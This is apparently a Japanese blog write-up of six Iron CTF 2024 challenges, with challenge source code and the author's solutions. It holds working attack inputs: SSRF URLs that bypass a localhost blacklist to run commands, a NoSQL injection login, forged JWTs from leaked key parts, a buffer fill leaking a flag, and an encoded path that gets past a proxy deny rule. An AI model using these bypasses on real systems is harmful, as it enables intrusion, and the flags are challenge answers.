1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Iron CTF writeup

Last updated at Posted at 2024-10-06

Iron CTFに参加してました。discordでヒント、解答を見ながら行った解きなおしも含まれます。

b64SiteViewer

image.png

app.py
from flask import render_template,render_template_string,Flask,request
from urllib.parse import urlparse
import urllib.request
import random
import os
import subprocess
import base64
app=Flask(__name__)
app.secret_key=os.urandom(16)

@app.route('/',methods=['GET','POST'])
def home():
    if request.method=='GET':
        return render_template('home.html')
    if request.method=='POST':
        try:
            url=request.form.get('url')
            scheme=urlparse(url).scheme
            hostname=urlparse(url).hostname
            blacklist_scheme=['file','gopher','php','ftp','dict','data']
            blacklist_hostname=['127.0.0.1','localhost','0.0.0.0','::1','::ffff:127.0.0.1']
            if scheme in blacklist_scheme:
                return render_template_string('blocked scheme')     
            if hostname in blacklist_hostname:
                return render_template_string('blocked host')
            t=urllib.request.urlopen(url)
            content = t.read()
            output=base64.b64encode(content)
            return (f'''base64 version of the site:
                {output[:1000]}''')
        except Exception as e:
                print(e)
                return f" An error occurred: {e} - Unable to visit this site, try some other website."


@app.route('/admin')
def admin():
    remote_addr = request.remote_addr
    
    if remote_addr in ['127.0.0.1', 'localhost']:
        cmd=request.args.get('cmd','id')
        cmd_blacklist=['REDACTED']
        if "'" in cmd or '"' in cmd:
            return render_template_string('Command blocked')
        for i in cmd_blacklist:
            if i in cmd:
                return render_template_string('Command blocked')
        print(f"Executing: {cmd}")
        res= subprocess.run(cmd, shell=True, capture_output=True, text=True)
        return res.stdout
    else:
        return render_template_string("Don't hack me")

if __name__=="__main__":
    app.run(host='0.0.0.0',port='5000')
flag.sh
#!/bin/bash


inp=$1

if [[ $flag == $inp ]]
then
	echo "This is the flag"
else
	echo "no"
fi

image.png
このようなサイトが与えられる。127.0.0.1,localhostとcmd_blacklist=['REDACTED']さえbypassできればSSRFとRCEができそう。いろいろ試したところ、
http://2130706433:5000/admin?cmd=set
で通った。ほかの方法としては、
http://[0:0:0:0:0:ffff:127.0.0.1]:5000/admin?cmd=head+run*
http://127.1:5000/admin?cmd=e\nv
があった。

Math Gone Wrong

image.png

nc misc.1nf1n1ty.team 30011
Enter frist number (n1) > 0.1
Enter second number (n2) > 0.1
n1*10+n2*10 != (n1+n2)*10
above condition is false so no flag

n110+n210 != (n1+n2)*10が成立すればいいらしい。
浮動小数点での誤差を発生させる。なぜか0.1,0.2の組み合わせだと通った。

nc misc.1nf1n1ty.team 30011
Enter frist number (n1) > 0.1
Enter second number (n2) > 0.2
b'ironCTF{s1mpl3_r3m4ind3r_70_b3w4r3_0f_fl047ing_p0in7_3rr0r}'

Introspection

Introspection.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    printf("\033[32m\"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step.\"\033[0m\n\n");
    printf("                                                                                         - ChatGPT\n");
    printf("Have you thought about what you really wanted in life?\n");
    char flag[50];
    FILE *file = fopen("flag.txt", "r");
    if (file == NULL) 
    {
        printf("Error! flag.txt not found!");
        exit(1);
    }
    fread(flag, 1, 50, file);
    char buf[1008];
    printf(">> ");
    read(0, buf, 1008);
    printf("I wish for you that you get %s", buf);
}
nc pwn.1nf1n1ty.team 31698
"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step."

                                                                                         - ChatGPT
Have you thought about what you really wanted in life?
>> hai,ChatGPT!
I wish for you that you get hai,ChatGPT!

bufが1008なので、Aを1008回入力する。

python3 -c 'print("A" * 1008)' |nc pwn.1nf1n1ty.team 31698
"Introspection is the key to unlocking your fullest potential; knowing yourself is the first step."

                                                                                         - ChatGPT
Have you thought about what you really wanted in life?
>> I wish for you that you get AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAironCTF{W0w!_Y0u_Just_OverWrite_the_Nul1!}
�x

JWT hunt

image.png

よくある宝探し問題だった。

robots.txt
User-agent: *
    
Disallow: /secretkeypart4
    
# Here's the first part of the secret key:
6yH$#v9Wq3e&Zf8L

image.png

sitemap.xml
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://example.com/</loc>
<lastmod>2024-01-01</lastmod>
</url>
<url>
<loc>http://example.com/register</loc>
<lastmod>2024-01-01</lastmod>
</url>
<url>
<loc>http://example.com/login</loc>
<lastmod>2024-01-01</lastmod>
</url>
<url>
<loc>http://example.com/dashboard</loc>
<lastmod>2024-01-01</lastmod>
</url>
<!--  Third part of the secret key: 2C@mQjUwEbGoIhNy  -->
</urlset>
$curl https://jwt-hunt.1nf1n1ty.team/secretkeypart4
<!doctype html>
<html lang="en">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
<script>(function(){function c(){var b=a.contentDocument||a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ce49eacdd0a0b00',t:'MTcyODIwNjg5MS4wMDAwMDA='};var a=document.createElement('script');a.nonce='';a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script>

$curl -I https://jwt-hunt.1nf1n1ty.team/secretkeypart4
HTTP/2 200
date: Sun, 06 Oct 2024 09:26:35 GMT
content-type: text/html; charset=utf-8
secret-key-part-4: 0T!BxlVz5uMKA#Yp
cf-cache-status: DYNAMIC
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V6b715Pda%2F7Or6nn3Qofvm9%2FDLUy%2F2o%2FJO8Sb77tNXsa%2BK%2BJmI8OEFQuIsTEDopAeJqek9IhXM42LCfMvVueFamJ5SnnD6SoO6UQBLBTEfigy2yTFsGrg%2FO6P07tN95QAo4V5%2FMSsZCv"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
speculation-rules: "/cdn-cgi/speculation"
server: cloudflare
cf-ray: 8ce49c559c14e062-NRT

これで鍵がそろった。6yH$#v9Wq3e&Zf8LpRt1%Y4nJ^aPk7Sd2C@mQjUwEbGoIhNy0T!BxlVz5uMKA#Yp
jwt.ioでjwtを書き換える。
image.png

image.png
Welcome admin, here's your flag : ironCTF{W0w_U_R34lly_Kn0w_4_L07_Ab0ut_JWT_3xp10r4710n!}

mango

image.png
image.png
Mangoから、言葉遊びでMongoDBだと推測、よくあるNoSQLiを試したら通った。
username=admin&password[$ne]=pass
をburpから送る。
しかし、普通に/admin/indexにアクセスするだけでアクセスできるようだった。

Loan App

app.py
from flask import Flask, render_template, request, redirect, session, url_for, flash
from flask_pymongo import PyMongo
from flask_bcrypt import Bcrypt
from bson.objectid import ObjectId
import os
import uuid


app = Flask(__name__)
app.config['MONGO_URI'] = os.getenv('MONGO_URI') or 'mongodb://mongo:27017/loanApp'
app.secret_key = os.getenv('SECRET_KEY') or 'secretKey'
mongo = PyMongo(app)
bcrypt = Bcrypt(app)
FLAG = os.getenv('FLAG') or 'ironCTF{testing_flag}'

@app.route('/')
def index():
    if 'user_id' in session:
        loans = mongo.db.loan.find({'user_id': session['user_id']})
        return render_template('index.html', loans=loans)
    return redirect(url_for('login'))

def is_uuid_v4(uuid_str):
    uuid_v4_regex = re.compile(
        r'^[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89ab][a-f0-9]{3}-[a-f0-9]{12}$', re.IGNORECASE)
    
    return bool(uuid_v4_regex.match(uuid_str))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        if not isinstance(username, str) or not isinstance(password, str):
            flash('Both username and password must be strings', 'danger')
            return redirect(url_for('register'))

        if not is_uuid_v4(username) or not is_uuid_v4(password):
            flash('Both username and password must be valid uuidV4', 'danger')
            return redirect(url_for('register'))

        hashed_password = bcrypt.generate_password_hash(password).decode('utf-8')
        mongo.db.user.insert_one({'username': username, 'password': hashed_password})
        flash('Registration successful!', 'success')
        return redirect(url_for('login'))

    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        
        if not isinstance(username, str) or not isinstance(password, str):
            flash('Both username and password must be strings', 'danger')
            return redirect(url_for('login'))

        if not is_valid_uuid(username) or not is_valid_uuid(password):
            flash('Both username and password must be valid UUIDs', 'danger')
            return redirect(url_for('login'))

        user = mongo.db.user.find_one({'username': username})
        if user and bcrypt.check_password_hash(user['password'], password):
            session['user_id'] = str(user['_id'])
            flash('Login successful!', 'success')
            return redirect(url_for('index'))

        flash('Invalid username or password', 'danger')
    return render_template('login.html')


@app.route('/logout')
def logout():
    session.pop('user_id', None)
    return redirect(url_for('login'))

@app.route('/loan-request', methods=['POST'])
def loan_request():
    if 'user_id' in session:
        amount = request.form['amount']
        reason = request.form['reason']
        mongo.db.loan.insert_one({'user_id': session['user_id'], 'amount': amount, 'reason': reason, 'status': 'pending'})
        return redirect(url_for('index'))
    return redirect(url_for('login'))

@app.route('/admin/loan/<loan_id>', methods=['POST'])
def admin_approve_loan(loan_id):
    try:
        mongo.db.loan.update_one({'_id': ObjectId(loan_id)}, {'$set': {'status': 'approved', 'message': FLAG}})
        return 'OK', 200
    except:
        return 'Internal Server Error', 500

if __name__ == '__main__':
    app.run(port=5050)
models.py
from flask_pymongo import PyMongo
from bson import ObjectId

mongo = PyMongo()

class User:
    def __init__(self, username, password, role='user'):
        self.username = username
        self.password = password
        self.role = role

    def save(self):
        mongo.db.users.insert_one({
            'username': self.username,
            'password': self.password,
            'role': self.role
        })

    @staticmethod
    def find_by_username(username):
        return mongo.db.users.find_one({'username': username})

class Loan:
    def __init__(self, user_id, amount, reason, status='pending'):
        self.user_id = user_id
        self.amount = amount
        self.reason = reason
        self.status = status

    def save(self):
        mongo.db.loans.insert_one({
            'user_id': self.user_id,
            'amount': self.amount,
            'reason': self.reason,
            'status': self.status
        })

    @staticmethod
    def find_by_user_id(user_id):
        return mongo.db.loans.find({'user_id': user_id})

    @staticmethod
    def update_loan(loan_id, update_data):
        mongo.db.loans.update_one({'_id': ObjectId(loan_id)}, {'$set': update_data})
docker-compose.yml
version: '3.8'

services:
  loanapp:
    build:
      context: .  # Build from the current directory
    depends_on:
      - mongo  # Ensure MongoDB is started before the app
    environment:
      - SECRET_KEY=REDACTED
      - FLASK_APP=app.py
      - MONGO_URI=mongodb://mongo:27017/loanApp
      - FLAG=flag{fake_flag_for_test}

  mongo:
    image: mongo  # Use the official MongoDB image
    volumes:
      - mongo-data:/data/db  # Persist MongoDB data
    

  loanapp-haproxy:
    image: haproxy:2.3.5 
    # ports:
      # - "80:80" 
    volumes:
      - ./haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg 
    depends_on:
      - loanapp 

volumes:
  mongo-data: 

image.png
まずは登録する。Username,Passwordの両方がUUIDv4でないと許可されない。
image.png
ローンを入力すると、loan_idが出てくる。/admin/loan/loan_idにアクセスできれば勝ちだが、普通にアクセスすると、403が出る。

haproxy.cfg
global
    log stdout format raw local0
    maxconn 2000
    user root
    group root
    daemon

defaults
    log global
    option httplog
    timeout client 30s
    timeout server 30s
    timeout connect 30s

frontend http_front
    mode http
    bind :80
    acl is_admin path_beg /admin
    http-request deny if is_admin
    default_backend gunicorn

backend gunicorn
    mode http
    balance roundrobin
    server loanserver loanapp:8000 maxconn 32

を見ると、/adminがブロックされていることがわかる。
そこで、
POST /%61dmin/loan/670273083b619fc5054d41e6 HTTP/1.1
aを%61でエンコードしてあげることで、403をbypassすることに成功した。
image.png

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?